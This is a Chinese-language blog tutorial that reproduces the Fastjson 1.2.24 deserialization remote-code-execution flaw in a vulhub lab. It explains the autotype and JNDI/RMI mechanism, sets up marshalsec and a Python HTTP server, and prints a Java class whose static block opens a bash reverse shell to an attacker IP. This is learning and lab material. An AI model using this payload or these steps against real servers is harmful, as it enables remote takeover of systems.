赞
踩
目录
这一篇是学习JAVA里面的fastjson 反序列化漏洞,这里还是参考别的师傅总结的文章进行学习
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
Fastjson 源码地址:
Fastjson 中文 Wiki:Quick Start CN · alibaba/fastjson Wiki · GitHub
Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。
demo:
- package org.example;
- import com.alibaba.fastjson.JSON;
-
- public class Main {
-
- public static void main(String[] args) {
- // 将一个 Java 对象序列化为 JSON 字符串
- Person person = new Person("Alice", 18);
- String jsonString = JSON.toJSONString(person);
- System.out.println(jsonString);
-
- // 将一个 JSON 字符串反序列化为 Java 对象
- String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}";
- Person person2 = JSON.parseObject(jsonString2, Person.class);
- System.out.println(person2.getName() + ", " + person2.getAge());
- }
-
- // 定义一个简单的 Java 类
- public static class Person {
- private String name;
- private int age;
-
- public Person(String name, int age) {
- this.name = name;
- this.age = age;
- }
-
- public String getName() {
- return name;
- }
-
- public int getAge() {
- return age;
- }
- }
- }
fastjson<=1.2.24
fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。
由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。
那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行
Fastjson使用黑白名单用于防御反序列化漏洞,并允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名。在特定条件下可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大(也就是通常所指的“Gadget”)。
简单来说:
fastjson数据传输时,序列化话为了避免结果一样,添加了autotype机制(@type键),但其受用户任意调用,恶意构造序列化代码,受害者接受数据反序列化并调用相应模块去执行。
这里使用的还是vulhub靶场中的环境
进入到如下目录:
/root/vulhub-master/fastjson/1.2.24-rce
使用docker-compose拉取环境:
环境拉取换成后我们访问查看:
在vulhub下的fastjson 1.2.24文件夹下保存以下代码为TouchFile.java文件:
编译.java文件,生成.class文件:
在class文件所在的目录,Python起一个http服务:
然后在浏览器访问就可以看到当前目录的所有文件:
接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:
开启RMI服务,masrhsec项目地址:marshalsec-jar/marshalsec-0.0.3-SNAPSHOT-all.jar at master · RandomRobbieBF/marshalsec-jar (github.com)
下面使一款工具来生成,github下载链接:mbechler/marshalsec (github.com)
在pom.xml所在目录,需要运行以下命令生成.jar文件:
对页面抓包,然后将提交方式修改为POST,提交下列数据
发送后,RMI监听和HTTP监听都会收到请求
可以看到是有回显的,说明我们是存在漏洞点的
这里首先就是需要在漏洞文件夹中新建一个shell.java文件内容如下,是反弹shell的语句:
- // javac GetShell.java
- import java.lang.Runtime;
- import java.lang.Process;
-
- public class TouchFile {
- static {
- try {
- Runtime rt = Runtime.getRuntime();
- String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.159.151/8888 0>&1"};
- Process pc = rt.exec(commands);
- pc.waitFor();
- } catch (Exception e) {
- // do nothing
- }
- }
- }
然后我们先在攻击机上使用nc进行监听:
然后将文件编译为class文件:
javac GetShell.java
开启http服务:
python -m http.server 4444
访问页面可以看到:
开启RMI服务:
然后还是抓包,将请求方式修改为POST,然后请求体中加上rmi监听的文件:
查看攻击机中的nc监听状态,可以看到已经成功的反弹shell了
参考文章:
java经典漏洞复现(基于vulhub) - FreeBuf网络安全行业门户
Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理-CSDN博客
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。